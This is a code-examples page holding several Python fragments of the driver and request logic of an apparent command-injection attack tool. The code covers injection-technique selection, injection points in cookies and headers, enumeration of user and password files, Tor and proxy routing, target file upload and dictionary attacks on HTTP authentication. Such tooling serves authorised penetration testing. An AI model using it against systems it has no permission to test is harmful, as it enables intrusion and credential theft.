            found_os_server = checks.user_defined_os()
        except KeyError:
          pass

        # Charset detection [1].
        # [1] http://www.w3schools.com/html/html_charset.asp
        # Check if HTML4 format
        content = re.findall(r";charset=(.*)\"", html_data)
        if len(content) != 0 :
          charset = content
        else:
           # Check if HTML5 format
          charset = re.findall(r"charset=['\"](.*?)['\"]", html_data)
        if len(charset) != 0 :
          settings.CHARSET = charset[len(charset)-1]
          if settings.CHARSET.lower() not in settings.CHARSET_LIST:
            print  Fore.YELLOW + settings.WARNING_SIGN + "The indicated web-page charset "  + settings.CHARSET + " seems unknown." + Style.RESET_ALL
          else:
            if menu.options.verbose:
              print Style.BRIGHT + "(!) The indicated web-page charset appears to be "  + Style.UNDERLINE  + settings.CHARSET + Style.RESET_ALL + "." + Style.RESET_ALL

        # Retrieve everything from the supported enumeration options.
        if menu.options.enum_all:
          checks.enable_all_enumeration_options()

      except urllib2.HTTPError, e:
        # Check the codes of responses
        if e.getcode() == 500:
          print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
          content = e.read()
          sys.exit(0)

        # Check for HTTP Error 401 (Unauthorized).
        elif e.getcode() == 401:
          try:
            # Get the auth header value
            auth_line = e.headers.get('www-authenticate', '')
            # Checking for authentication type name.
            auth_type = auth_line.split()[0]
            settings.SUPPORTED_HTTP_AUTH_TYPES.index(auth_type.lower())
            # Checking for the realm attribute.
            try: 
              auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups()
              realm = auth_obj[1].split(',')[0].replace("\"", "")
            except:
              realm = False

          except ValueError:
            print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
            print Back.RED + settings.ERROR_SIGN + "The identified HTTP authentication type (" + auth_type + ") is not yet supported." + Style.RESET_ALL + "\n"
            sys.exit(0)

          except IndexError:
            print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
            error_msg = "The provided pair of " + menu.options.auth_type 
            error_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
            error_msg += " seems to be invalid."
            print Back.RED + settings.ERROR_SIGN + error_msg + Style.RESET_ALL
            sys.exit(0) 

          print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
          if menu.options.auth_type and menu.options.auth_type != auth_type.lower():
            if checks.identified_http_auth_type(auth_type):
              menu.options.auth_type = auth_type.lower()
          else:
            menu.options.auth_type = auth_type.lower()

          # Check for stored auth credentials.
          if not menu.options.auth_cred:
            try:
              stored_auth_creds = session_handler.export_valid_credentials(url, auth_type.lower())
            except:
              stored_auth_creds = False
            if stored_auth_creds:
              menu.options.auth_cred = stored_auth_creds
              print Style.BRIGHT + "(!) Identified a valid pair of credentials '" + Style.UNDERLINE  + menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT  + "'." + Style.RESET_ALL
            else:  

              # Basic authentication 
              if menu.options.auth_type == "basic":
                if not menu.options.ignore_401:
                  print Fore.YELLOW + settings.WARNING_SIGN + "(" + menu.options.auth_type.capitalize() + ")" + " HTTP authentication credentials are required." + Style.RESET_ALL
                  while True:
                    crack_creds = raw_input(settings.QUESTION_SIGN + "Do you want to perform a dictionary-based attack? [Y/n/q] > ").lower()
                    if crack_creds in settings.CHOICE_YES:
                      auth_creds = authentication.http_auth_cracker(url, realm)
                      if auth_creds != False:
                        menu.options.auth_cred = auth_creds
                        settings.REQUIRED_AUTHENTICATION = True
                        break
                      else:
                        sys.exit(0)
                    elif crack_creds in settings.CHOICE_NO:
                      checks.http_auth_error_msg()
                    elif crack_creds in settings.CHOICE_QUIT:
                      sys.exit(0)
                    else:
                      if crack_creds == "":
                        crack_creds = "enter"
                      print Back.RED + settings.ERROR_SIGN + "'" + crack_creds + "' is not a valid answer." + Style.RESET_ALL + "\n"
                      pass

              # Digest authentication         
              elif menu.options.auth_type == "digest":
                if not menu.options.ignore_401:
                  print Fore.YELLOW + settings.WARNING_SIGN + "(" + menu.options.auth_type.capitalize() + ")" + " HTTP authentication credentials are required." + Style.RESET_ALL       
                  # Check if heuristics have failed to identify the realm attribute.
                  if not realm:
                    warn_msg = "Heuristics have failed to identify the realm attribute." 
                    print Fore.YELLOW + settings.WARNING_SIGN + warn_msg + Style.RESET_ALL 
                  while True:
                    crack_creds = raw_input(settings.QUESTION_SIGN + "Do you want to perform a dictionary-based attack? [Y/n/q] > ").lower()
                    if crack_creds in settings.CHOICE_YES:
                      auth_creds = authentication.http_auth_cracker(url, realm)
                      if auth_creds != False:
                        menu.options.auth_cred = auth_creds
                        settings.REQUIRED_AUTHENTICATION = True
                        break
                      else:
                        sys.exit(0)
                    elif crack_creds in settings.CHOICE_NO:
                      checks.http_auth_error_msg()
                    elif crack_creds in settings.CHOICE_QUIT:
                      sys.exit(0)
                    else:
                      if crack_creds == "":
                        crack_creds = "enter"
                      print Back.RED + settings.ERROR_SIGN + "'" + crack_creds + "' is not a valid answer." + Style.RESET_ALL + "\n"
                      pass
                  else:   
                    checks.http_auth_error_msg()      
          else:
            pass

        elif e.getcode() == 403:
          print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
          print Back.RED + settings.ERROR_SIGN + "You don't have permission to access this page." + Style.RESET_ALL
          sys.exit(0)
          
        elif e.getcode() == 404:
          print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
          print Back.RED + settings.ERROR_SIGN + "The host seems to be down!" + Style.RESET_ALL
          sys.exit(0)

        else:
          raise

      except urllib2.URLError, e:
        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
        print Back.RED + settings.ERROR_SIGN + "The host seems to be down!" + Style.RESET_ALL
        sys.exit(0)
Exemplo n.º 30
0
def main():
  try:
    # Check if defined "--version" option.
    if menu.options.version:
      version.show_version()
      sys.exit(0)

    # Checkall the banner
    menu.banner()
        
    # Check python version number.
    version.python_version()
            
    # Check if defined "--update" option.        
    if menu.options.update:
      update.updater()
      sys.exit(0)
        
    # Check if defined "--install" option.        
    if menu.options.install:
      install.installer()
      sys.exit(0)
    
    # Check arguments
    if len(sys.argv) == 1:
      menu.parser.print_help()
      print ""
      sys.exit(0)
    
    # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab).
    if menu.options.logfile:
      parser.logfile_parser()
      
    # Modification on payload
    if not menu.options.shellshock:
      #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
      settings.SYS_USERS  = "echo $(" + settings.SYS_USERS + ")"
      settings.SYS_PASSES  = "echo $(" + settings.SYS_PASSES + ")"

    # Check if defined character used for splitting parameter values.
    if menu.options.pdel:
     settings.PARAMETER_DELIMITER = menu.options.pdel

    # Check if defined character used for splitting cookie values.
    if menu.options.cdel:
     settings.COOKIE_DELIMITER = menu.options.cdel

    # Check if specified wrong injection technique
    if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
      found_tech = False
      # Convert injection technique(s) to lowercase
      menu.options.tech = menu.options.tech.lower()
      # Check if used the ',' separator
      if "," in menu.options.tech:
        split_techniques_names = menu.options.tech.split(",")
      else:
        split_techniques_names = menu.options.tech.split()
      if split_techniques_names:
        for i in range(0,len(split_techniques_names)):
          if len(menu.options.tech) <= 4:
            split_first_letter = list(menu.options.tech)
            for j in range(0,len(split_first_letter)):
              if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES:
                found_tech = True
          if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and found_tech == False:
            print Back.RED + settings.ERROR_SIGN + "You specified wrong '" + split_techniques_names[i] + "' injection technique." + Style.RESET_ALL
            print Back.RED + "(x) The available techniques are: classic,eval-based,time-based,file-based or c,e,t,f (with or without commas)." + Style.RESET_ALL
            sys.exit(0)

    # Cookie Injection
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      settings.COOKIE_INJECTION = True

    # User-Agent Injection
    if menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      settings.USER_AGENT_INJECTION = True

    # Referer Injection
    if menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      settings.REFERER_INJECTION = True

    # Check if specified wrong alternative shell
    if menu.options.alter_shell:
      if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS:
        print Back.RED + settings.ERROR_SIGN + "'" + menu.options.alter_shell + "' shell is not supported!" + Style.RESET_ALL
        sys.exit(0)

    # Check the file-destination
    if menu.options.file_write and not menu.options.file_dest or \
    menu.options.file_upload  and not menu.options.file_dest:
      print Back.RED + settings.ERROR_SIGN + "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." + Style.RESET_ALL
      sys.exit(0)

    if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None :
       print Back.RED + settings.ERROR_SIGN + "You must enter the '--file-write' or '--file-upload' parameter." + Style.RESET_ALL
       sys.exit(0)

    # Check if defined "--file-upload" option.
    if menu.options.file_upload:
      # Check if not defined URL for upload.
      if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
        print Back.RED + settings.ERROR_SIGN + "The '" + menu.options.file_upload + "' is not a valid URL. " + Style.RESET_ALL
        sys.exit(0)
        
    # Check if defined "--random-agent" option.
    if menu.options.random_agent:
      menu.options.agent = random.choice(settings.USER_AGENT_LIST)
  
    # Check if defined "--url" option.
    if menu.options.url:
      url = menu.options.url

      # If URL not starts with any URI scheme, add "http://"
      if not urlparse.urlparse(url).scheme:
        url = "http://" + url

      if menu.options.output_dir:
        output_dir = menu.options.output_dir
      else:
        output_dir = settings.OUTPUT_DIR
      dir = os.path.dirname(output_dir)
      try:
        os.stat(output_dir)
      except:
        os.mkdir(output_dir)   

      # The logs filename construction.
      filename = logs.create_log_file(url, output_dir)
      try:
        
        # Check if defined POST data
        if menu.options.data:
          request = urllib2.Request(url, menu.options.data)
        else:
          request = urllib2.Request(url)
        headers.do_check(request)  
        
        # Check if defined any HTTP Proxy (--proxy option).
        if menu.options.proxy:
          proxy.do_check(url)
        
        # Check if defined Tor (--tor option).
        elif menu.options.tor:
          tor.do_check()
        sys.stdout.write(settings.INFO_SIGN + "Checking connection to the target URL... ")
        sys.stdout.flush()
        try:
          # Check if defined any HTTP Proxy (--proxy option).
          if menu.options.proxy:
            response = proxy.use_proxy(request)
          # Check if defined Tor (--tor option).  
          elif menu.options.tor:
            response = tor.use_tor(request)
          else:
            response = urllib2.urlopen(request)
        except:
          raise
        
        html_data = response.read()
        content = response.read()
        print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
        try:
          if response.info()['server'] :
            server_banner = response.info()['server']
            found_os_server = False
            for i in range(0,len(settings.SERVER_OS_BANNERS)):
              if settings.SERVER_OS_BANNERS[i].lower() in server_banner.lower():
                found_os_server = True
                settings.TARGET_OS = settings.SERVER_OS_BANNERS[i].lower()
                if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft" :
                  identified_os = "Windows"
                  settings.TARGET_OS = identified_os[:3].lower()
                  if menu.options.shellshock:
                    print Back.RED + settings.CRITICAL_SIGN + "The shellshock module is not available for " + identified_os + " tagets." + Style.RESET_ALL
                    raise SystemExit()
                else:
                  identified_os = "Unix-like (" + settings.TARGET_OS + ")"
            
            found_server_banner = False
            for i in range(0,len(settings.SERVER_BANNERS)):
              if settings.SERVER_BANNERS[i].lower() in server_banner.lower():
                if menu.options.verbose:
                  print Style.BRIGHT + "(!) The server was identified as " + Style.UNDERLINE + server_banner + Style.RESET_ALL + "." + Style.RESET_ALL
                settings.SERVER_BANNER = server_banner
                found_server_banner = True
                # Set up default root paths
                if settings.SERVER_BANNERS[i].lower() == "apache":
                  if settings.TARGET_OS == "win":
                    settings.SRV_ROOT_DIR = "\\htdocs"
                  else:
                    settings.SRV_ROOT_DIR = "/var/www"
                if settings.SERVER_BANNERS[i].lower() == "nginx": 
                  settings.SRV_ROOT_DIR = "/usr/share/nginx"
                if settings.SERVER_BANNERS[i].lower() == "microsoft-iis":
                  settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot"
                break

            if menu.options.is_admin or menu.options.is_root and not menu.options.current_user:
              menu.options.current_user = True

            # Check for wrong flags.
            if settings.TARGET_OS == "win":
              if menu.options.is_root :
                print Fore.YELLOW + settings.WARNING_SIGN + "Swithing '--is-root' to '--is-admin' because the taget has been identified as windows." + Style.RESET_ALL 
              error_msg = settings.WARNING_SIGN + "The '--passwords' option, is not yet available for Windows targets."
              if menu.options.passwords:
                print Fore.YELLOW + settings.WARNING_SIGN + "The '--passwords' option, is not yet available for Windows targets." + Style.RESET_ALL   
              if menu.options.file_upload :
                print Fore.YELLOW + settings.WARNING_SIGN + "The '--file-upload' option, is not yet available for windows targets. Instead, use the '--file-write' option." + Style.RESET_ALL   
                sys.exit(0)
            else: 
              if menu.options.is_admin : 
                print Fore.YELLOW + settings.WARNING_SIGN + "Swithing the '--is-admin' to '--is-root' because the taget has been identified as unix-like. " + Style.RESET_ALL   
            
            if found_os_server == False:
              # If "--shellshock" option is provided then,
              # by default is a Linux/Unix operating system.
              if menu.options.shellshock:
                pass 
              else:
                print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify server's operating system." + Style.RESET_ALL 
                while True:
                  got_os = raw_input(settings.QUESTION_SIGN + "Do you recognise the server's operating system? [(W)indows/(U)nix/(q)uit] > ").lower()
                  if got_os.lower() in settings.CHOISE_OS :
                    if got_os.lower() == "w":
                      settings.TARGET_OS == "win"
                      break
                    elif got_os.lower() == "u":
                      break
                    elif got_os.lower() == "q":
                      raise SystemExit()
                  else:
                    if got_os == "":
                      got_os = "enter"
                    print Back.RED + settings.ERROR_SIGN + "'" + got_os + "' is not a valid answer." + Style.RESET_ALL + "\n"
                    pass
            if found_server_banner == False :
              print  Fore.YELLOW + settings.WARNING_SIGN + "The server which was identified as " + server_banner + " seems unknown." + Style.RESET_ALL
        except KeyError:
          pass

        # Charset detection [1].
        # [1] http://www.w3schools.com/html/html_charset.asp
        # Check if HTML4 format
        content = re.findall(r";charset=(.*)\"", html_data)
        if len(content) != 0 :
          charset = content
        else:
           # Check if HTML5 format
          charset = re.findall(r"charset=['\"](.*?)['\"]", html_data)
        if len(charset) != 0 :
          settings.CHARSET = charset[len(charset)-1]
          if settings.CHARSET.lower() not in settings.CHARSET_LIST:
            print  Fore.YELLOW + settings.WARNING_SIGN + "The indicated web-page charset "  + settings.CHARSET + " seems unknown." + Style.RESET_ALL
          else:
            if menu.options.verbose:
              print Style.BRIGHT + "(!) The indicated web-page charset appears to be "  + Style.UNDERLINE  + settings.CHARSET + Style.RESET_ALL + "." + Style.RESET_ALL

      except urllib2.HTTPError, e:
        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
        # Check the codes of responses
        if e.getcode() == 500:
          content = e.read()
          sys.exit(0)

        elif e.getcode() == 401:
          if menu.options.auth_type != "basic":
            print Back.RED + settings.ERROR_SIGN + "Only 'Basic' Access Authentication is supported." + Style.RESET_ALL
            sys.exit(0)
          else:
            print Back.RED + settings.ERROR_SIGN + "Authorization required!" + Style.RESET_ALL
            sys.exit(0)
          
        elif e.getcode() == 403:
          print Back.RED + settings.ERROR_SIGN + "You don't have permission to access this page." + Style.RESET_ALL
          sys.exit(0)
          
        elif e.getcode() == 404:
          print Back.RED + settings.ERROR_SIGN + "The host seems to be down!" + Style.RESET_ALL
          sys.exit(0)

        else:
          raise

      except urllib2.URLError, e:
        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
        print Back.RED + settings.ERROR_SIGN + "The host seems to be down!" + Style.RESET_ALL
        sys.exit(0)
Exemplo n.º 31
0
def examine_request(request):
    try:
        headers.check_http_traffic(request)
        # Check if defined any HTTP Proxy (--proxy option).
        if menu.options.proxy:
            return proxy.use_proxy(request)
        # Check if defined Tor (--tor option).
        elif menu.options.tor:
            return tor.use_tor(request)
        else:
            try:
                return _urllib.request.urlopen(request)
            except SocketError as e:
                if e.errno == errno.ECONNRESET:
                    error_msg = "Connection reset by peer."
                    print(settings.print_critical_msg(error_msg))
                elif e.errno == errno.ECONNREFUSED:
                    error_msg = "Connection refused."
                    print(settings.print_critical_msg(error_msg))
                raise SystemExit()
            except ValueError:
                # Invalid format for the '--header' option.
                if settings.VERBOSITY_LEVEL < 2:
                    print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
                err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'"
                err_msg += "to provide an extra HTTP header or"
                err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR + "\"' "
                err_msg += "if you want to try to exploit the provided HTTP header."
                print(settings.print_critical_msg(err_msg))
                raise SystemExit()
            except Exception as err_msg:
                if "unauthorized" in str(err_msg).lower():
                    if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR:
                        pass
                    elif menu.options.auth_type and menu.options.auth_cred:
                        err_msg = "The provided pair of " + menu.options.auth_type
                        err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
                        err_msg += " seems to be invalid."
                        err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options,"
                        err_msg += " in order to perform a dictionary-based attack."
                        print(settings.print_critical_msg(err_msg))
                        raise SystemExit()
                else:
                    try:
                        error_msg = str(err_msg.args[0]).split("] ")[1] + "."
                    except IndexError:
                        error_msg = str(err_msg).replace(": ", " (") + ")."
                    print(settings.print_critical_msg(error_msg))
                    raise SystemExit()

    except _urllib.error.HTTPError as err_msg:
        error_description = ""
        if len(str(err_msg).split(": ")[1]) == 0:
            error_description = "Non-standard HTTP status code"
        err_msg = str(err_msg).replace(": ", " (") + error_description + ")."
        if menu.options.bulkfile:
            warn_msg = "Skipping URL '" + url + "' - " + err_msg
            print(settings.print_warning_msg(warn_msg))
            if settings.EOF:
                print("")
            return False
        else:
            print(settings.print_critical_msg(err_msg))
            raise SystemExit

    except _urllib.error.URLError as e:
        err_msg = "Unable to connect to the target URL"
        try:
            err_msg += " (" + str(e.args[0]).split("] ")[1] + ")."
        except IndexError:
            err_msg += "."
            pass
        if menu.options.bulkfile:
            err_msg = "Skipping URL '" + url + "' - " + err_msg
            print(settings.print_critical_msg(err_msg))
            if settings.EOF:
                print("")
            return False
        else:
            print(settings.print_critical_msg(err_msg))
            raise SystemExit
Exemplo n.º 32
0
        except urllib2.HTTPError, err_msg:
            if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
                response = False
            elif settings.IGNORE_ERR_MSG == False:
                err = str(err_msg) + "."
                print "\n" + settings.print_critical_msg(err)
                continue_tests = checks.continue_tests(err_msg)
                if continue_tests == True:
                    settings.IGNORE_ERR_MSG = True
                else:
                    os._exit(0)

    # Check if defined Tor.
    elif menu.options.tor:
        try:
            response = tor.use_tor(request)
        except urllib2.HTTPError, err_msg:
            if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
                response = False
            elif settings.IGNORE_ERR_MSG == False:
                err = str(err_msg) + "."
                print "\n" + settings.print_critical_msg(err)
                continue_tests = checks.continue_tests(err_msg)
                if continue_tests == True:
                    settings.IGNORE_ERR_MSG = True
                else:
                    os._exit(0)

    else:
        try:
            response = urllib2.urlopen(request)
Exemplo n.º 33
0
def examine_request(request):
  try:
    headers.check_http_traffic(request)
    # Check if defined any HTTP Proxy (--proxy option).
    if menu.options.proxy:
      return proxy.use_proxy(request)
    # Check if defined Tor (--tor option).  
    elif menu.options.tor:
      return tor.use_tor(request)
    else:
      try:
        return urllib2.urlopen(request)
      except SocketError as e:
        if e.errno == errno.ECONNRESET:
          error_msg = "Connection reset by peer."
          print settings.print_critical_msg(error_msg)
        elif e.errno == errno.WSAECONNRESET:
          error_msg = "An existing connection was forcibly closed by the remote host."
          print settings.print_critical_msg(error_msg)
        raise SystemExit()
      except ValueError:
        # Invalid format for the '--header' option.
        if settings.VERBOSITY_LEVEL < 2:
          print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
        err_msg = "Use '--header=\"HEADER_NAME: HEADER_VALUE\"'"
        err_msg += "to provide an extra HTTP header or"
        err_msg += " '--header=\"HEADER_NAME: " + settings.WILDCARD_CHAR  + "\"' "
        err_msg += "if you want to try to exploit the provided HTTP header."
        print settings.print_critical_msg(err_msg)
        raise SystemExit()
      except Exception as err_msg:
        if "Unauthorized" in str(err_msg):
          if menu.options.ignore_401:
            pass
          elif menu.options.auth_type and menu.options.auth_cred:
            err_msg = "The provided pair of " + menu.options.auth_type 
            err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'"
            err_msg += " seems to be invalid."
            print settings.print_critical_msg(err_msg)
            raise SystemExit()
        else:  
          try:
            error_msg = str(err_msg.args[0]).split("] ")[1] + "."
          except IndexError:
            error_msg = str(err_msg).replace(": "," (") + ")."
          print settings.print_critical_msg(error_msg)
          raise SystemExit()

  except urllib2.HTTPError, err_msg:
    error_description = ""
    if len(str(err_msg).split(": ")[1]) == 0:
      error_description = "Non-standard HTTP status code"
    err_msg = str(err_msg).replace(": "," (") + error_description + ")." 
    if menu.options.bulkfile:
      warn_msg = "Skipping URL '" + url + "' - " + err_msg
      print settings.print_warning_msg(warn_msg)
      if settings.EOF:
        print "" 
      return False  
    else:
      print settings.print_critical_msg(err_msg)
      raise SystemExit 
Exemplo n.º 34
0
def main():
    try:
        # Check if defined "--version" option.
        if menu.options.version:
            version.show_version()
            sys.exit(0)

        # Checkall the banner
        menu.banner()

        # Check python version number.
        version.python_version()

        # Check if defined "--dependencies" option.
        # For checking (non-core) third party dependenices.
        if menu.options.noncore_dependencies:
            checks.third_party_dependencies()
            sys.exit(0)

        # Check if defined "--update" option.
        if menu.options.update:
            update.updater()
            sys.exit(0)

        # Check if defined "--install" option.
        if menu.options.install:
            install.installer()
            sys.exit(0)

        # Check arguments
        if len(sys.argv) == 1:
            menu.parser.print_help()
            print ""
            sys.exit(0)

        if menu.options.level > 3:
            err_msg = "The value for option '--level' "
            err_msg += "must be an integer value from range [1, 3]."
            print settings.print_error_msg(err_msg)
            sys.exit(0)

        # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab).
        if menu.options.logfile:
            parser.logfile_parser()

        # Modification on payload
        if not menu.options.shellshock:
            #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
            settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")"
            settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")"

        # Check provided parameters for tests
        if menu.options.test_parameter:
            if menu.options.test_parameter.startswith("="):
                menu.options.test_parameter = menu.options.test_parameter[1:]
            settings.TEST_PARAMETER = menu.options.test_parameter.split(",")
            for i in range(0, len(settings.TEST_PARAMETER)):
                if "=" in settings.TEST_PARAMETER[i]:
                    settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[
                        i].split("=")[0]

        # Check if defined character used for splitting parameter values.
        if menu.options.pdel:
            settings.PARAMETER_DELIMITER = menu.options.pdel

        # Check if defined character used for splitting cookie values.
        if menu.options.cdel:
            settings.COOKIE_DELIMITER = menu.options.cdel

        # Check if specified wrong injection technique
        if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
            found_tech = False
            # Convert injection technique(s) to lowercase
            menu.options.tech = menu.options.tech.lower()
            # Check if used the ',' separator
            if "," in menu.options.tech:
                split_techniques_names = menu.options.tech.split(",")
            else:
                split_techniques_names = menu.options.tech.split()
            if split_techniques_names:
                for i in range(0, len(split_techniques_names)):
                    if len(menu.options.tech) <= 4:
                        split_first_letter = list(menu.options.tech)
                        for j in range(0, len(split_first_letter)):
                            if split_first_letter[
                                    j] in settings.AVAILABLE_TECHNIQUES:
                                found_tech = True
                            else:
                                found_tech = False
            if split_techniques_names[i].replace(
                    ' ', ''
            ) not in settings.AVAILABLE_TECHNIQUES and found_tech == False:
                err_msg = "You specified wrong value '" + split_techniques_names[
                    i] + "' as injection technique. "
                err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, "
                err_msg += "(T)ime-based, (F)ile-based (with or without commas)."
                print settings.print_error_msg(err_msg)
                sys.exit(0)

        # Check if specified wrong alternative shell
        if menu.options.alter_shell:
            if menu.options.alter_shell.lower(
            ) not in settings.AVAILABLE_SHELLS:
                err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
                print settings.print_error_msg(err_msg)
                sys.exit(0)

        # Check the file-destination
        if menu.options.file_write and not menu.options.file_dest or \
        menu.options.file_upload  and not menu.options.file_dest:
            err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)."
            print settings.print_error_msg(err_msg)
            sys.exit(0)

        if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None:
            err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
            print settings.print_error_msg(err_msg)
            sys.exit(0)

        # Check if defined "--file-upload" option.
        if menu.options.file_upload:
            # Check if not defined URL for upload.
            if not re.match(settings.VALID_URL_FORMAT,
                            menu.options.file_upload):
                err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. "
                print settings.print_error_msg(err_msg)
                sys.exit(0)

        # Check if defined "--random-agent" option.
        if menu.options.random_agent:
            menu.options.agent = random.choice(settings.USER_AGENT_LIST)

        # Check if defined "--url" option.
        if menu.options.url:
            url = menu.options.url

            # Check if http / https
            url = checks.check_http_s(url)

            if menu.options.output_dir:
                output_dir = menu.options.output_dir
            else:
                output_dir = settings.OUTPUT_DIR

            # One directory up, if Windows or if the script is being run under "/src".
            if settings.IS_WINDOWS or "/src" in os.path.dirname(
                    os.path.abspath(__file__)):
                os.chdir("..")

            output_dir = os.path.dirname(output_dir)

            try:
                os.stat(output_dir)
            except:
                os.mkdir(output_dir)

            # The logs filename construction.
            filename = logs.create_log_file(url, output_dir)
            try:

                # Check if defined POST data
                if menu.options.data:
                    request = urllib2.Request(url, menu.options.data)
                else:
                    request = urllib2.Request(url)

                headers.do_check(request)

                # Check if defined any HTTP Proxy (--proxy option).
                if menu.options.proxy:
                    proxy.do_check(url)

                # Check if defined Tor (--tor option).
                elif menu.options.tor:
                    tor.do_check()
                info_msg = "Checking connection to the target URL... "
                sys.stdout.write(settings.print_info_msg(info_msg))
                sys.stdout.flush()

                try:
                    # Check if defined any HTTP Proxy (--proxy option).
                    if menu.options.proxy:
                        response = proxy.use_proxy(request)
                    # Check if defined Tor (--tor option).
                    elif menu.options.tor:
                        response = tor.use_tor(request)
                    else:
                        try:
                            response = urllib2.urlopen(request)
                        except ValueError:
                            # Invalid format for the '--headers' option.
                            print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                            err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' to provide an HTTP header or"
                            err_msg += " '--headers=\"HEADER_NAME:" + settings.INJECT_TAG + "\"' "
                            err_msg += "if you want to try to exploit the provided HTTP header."
                            print settings.print_error_msg(err_msg)
                            sys.exit(0)
                except:
                    raise

                html_data = content = response.read()

                print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"

                # Used a valid pair of valid credentials
                if menu.options.auth_cred:
                    info_msg = "Identified a valid pair of credentials '" + Style.UNDERLINE
                    info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'."
                    print Style.BRIGHT + info_msg + Style.RESET_ALL

                try:
                    if response.info()['server']:
                        server_banner = response.info()['server']
                        found_os_server = False
                        if menu.options.os and checks.user_defined_os():
                            user_defined_os = settings.TARGET_OS

                        for i in range(0, len(settings.SERVER_OS_BANNERS)):
                            if settings.SERVER_OS_BANNERS[i].lower(
                            ) in server_banner.lower():
                                found_os_server = True
                                settings.TARGET_OS = settings.SERVER_OS_BANNERS[
                                    i].lower()
                                if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft":
                                    identified_os = "Windows"
                                    if menu.options.os and user_defined_os != "win":
                                        if not checks.identified_os():
                                            settings.TARGET_OS = user_defined_os

                                    settings.TARGET_OS = identified_os[:
                                                                       3].lower(
                                                                       )
                                    if menu.options.shellshock:
                                        err_msg = "The shellshock module is not available for " + identified_os + " targets."
                                        print settings.print_critical_msg(
                                            err_msg)
                                        raise SystemExit()
                                else:
                                    identified_os = "Unix-like (" + settings.TARGET_OS + ")"
                                    if menu.options.os and user_defined_os == "win":
                                        if not checks.identified_os():
                                            settings.TARGET_OS = user_defined_os

                        found_server_banner = False
                        if menu.options.verbose:
                            info_msg = "Identifying the target server..."
                            print settings.print_info_msg(info_msg)
                        for i in range(0, len(settings.SERVER_BANNERS)):
                            if settings.SERVER_BANNERS[i].lower(
                            ) in server_banner.lower():
                                if menu.options.verbose:
                                    success_msg = "The server was identified as "
                                    success_msg += Style.UNDERLINE + server_banner + Style.RESET_ALL + "."
                                    print settings.print_success_msg(
                                        success_msg)
                                settings.SERVER_BANNER = server_banner
                                found_server_banner = True
                                # Set up default root paths
                                if settings.SERVER_BANNERS[i].lower(
                                ) == "apache":
                                    if settings.TARGET_OS == "win":
                                        settings.SRV_ROOT_DIR = "\\htdocs"
                                    else:
                                        settings.SRV_ROOT_DIR = "/var/www"
                                if settings.SERVER_BANNERS[i].lower(
                                ) == "nginx":
                                    settings.SRV_ROOT_DIR = "/usr/share/nginx"
                                if settings.SERVER_BANNERS[i].lower(
                                ) == "microsoft-iis":
                                    settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot"
                                break

                        if not found_server_banner:
                            warn_msg = "Heuristics have failed to identify server."
                            print settings.print_warning_msg(warn_msg)

                        # Store the Server's root dir
                        settings.DEFAULT_SRV_ROOT_DIR = settings.SRV_ROOT_DIR

                        # Retrieve everything from the supported enumeration options.
                        if menu.options.enum_all:
                            checks.enable_all_enumeration_options()

                        if menu.options.is_admin or menu.options.is_root and not menu.options.current_user:
                            menu.options.current_user = True

                        # Check for wrong flags.
                        if settings.TARGET_OS == "win":
                            if menu.options.is_root:
                                warn_msg = "Swithing '--is-root' to '--is-admin' because the target has been identified as windows."
                                print settings.print_warning_msg(warn_msg)
